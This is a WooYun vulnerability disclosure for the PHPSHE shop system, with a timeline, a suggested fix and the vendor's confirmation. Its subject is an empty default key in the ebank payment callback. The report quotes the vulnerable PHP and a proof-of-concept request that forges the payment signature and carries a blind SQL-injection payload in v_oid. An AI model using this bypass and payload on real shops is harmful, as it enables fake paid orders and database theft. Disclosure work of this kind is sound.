当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077823

漏洞标题:PHPSHE SQL注入

相关厂商:phpshe.com

漏洞作者: zxx

提交时间:2014-10-01 08:41

修复时间:2014-12-30 08:42

公开时间:2014-12-30 08:42

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-01: 细节已通知厂商并且等待厂商处理中
2014-10-11: 厂商已经确认,细节仅向厂商公开
2014-10-14: 细节向第三方安全合作伙伴开放
2014-12-05: 细节向核心白帽子及相关领域专家公开
2014-12-15: 细节向普通白帽子公开
2014-12-25: 细节向实习白帽子公开
2014-12-30: 细节向公众公开

简要描述:

默认配置验证绕过

详细说明:

/include/plugin/payway/ebank/Receive.php中
ebank_md5 默认为空 ,可以生成sign绕过

include('../../../../common.php');
$cache_payway = cache::get('payway');
$payway = unserialize($cache_payway['ebank']['payway_config']);
$key = $payway['ebank_md5']; //默认为空
$v_oid =trim($_POST['v_oid']);
$v_pmode =trim($_POST['v_pmode']);
$v_pstatus =trim($_POST['v_pstatus']);
$v_pstring =trim($_POST['v_pstring']);
$v_amount =trim($_POST['v_amount']);
$v_moneytype =trim($_POST['v_moneytype']);
$remark1 =trim($_POST['remark1']);
$remark2 =trim($_POST['remark2']);
$v_md5str =trim($_POST['v_md5str']);
/**
* 重新计算md5的值
*/

$md5string=strtoupper(md5($v_oid.$v_pstatus.$v_amount.$v_moneytype.$key));//之间连接生成md5,里面变量全可控
/**
* 判断返回信息,如果支付成功,并且支付结果可信,则做进一步的处理
*/
if ($v_md5str==$md5string) { //$_v_md5str也是可控
if($v_pstatus=="20") {
$info = $db->pe_select('order', array('order_id'=>$v_oid));//$v_oid未再验证。
if ($info['order_state'] == 'notpay') {
$order['order_outid'] = $v_pmode;
$order['order_payway'] = 'ebank';
$order['order_state'] = 'paid';
$order['order_ptime'] = time();
$db->pe_update('order', array('order_id'=>$v_oid), $order);
pe_success('订单支付成功...');
}
}
else {
echo "支付失败";
}
}


漏洞证明:

$md5string=strtoupper(md5($v_oid.$v_pstatus.$v_amount.$v_moneytype.$key));
请求时,用这个生成一个 MD5字符串,作为$v_md5str传入,另v_pstatus为20。
先生成一个订单,然后构造发生请求
v_oid=1409290002' and substring(user(),1,1)=char(114) %23&v_pstatus=20&v_md5str=DEFD6AA06AA4104E7FBFE8507BB0A9D1
判断数据库第一个位ascii码,如果是114,订单会支付成功。

QQ截图20140929182445.png


数据库更新成功

QQ截图20140929182426.png


显示

QQ截图20140929182737.png


假如判断是不是115,因为不是,所以

QQ截图20140929183123.png


QQ截图20140929182530.png


没有进行更新操作,没有支付

修复方案:

像alipay的config里一样,配置一个长点的key,随机的

版权声明:转载请注明来源 zxx@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-10-11 15:34

厂商回复:

感谢@zxx 提供代码审计,已将漏洞提交到技术部

最新状态:

暂无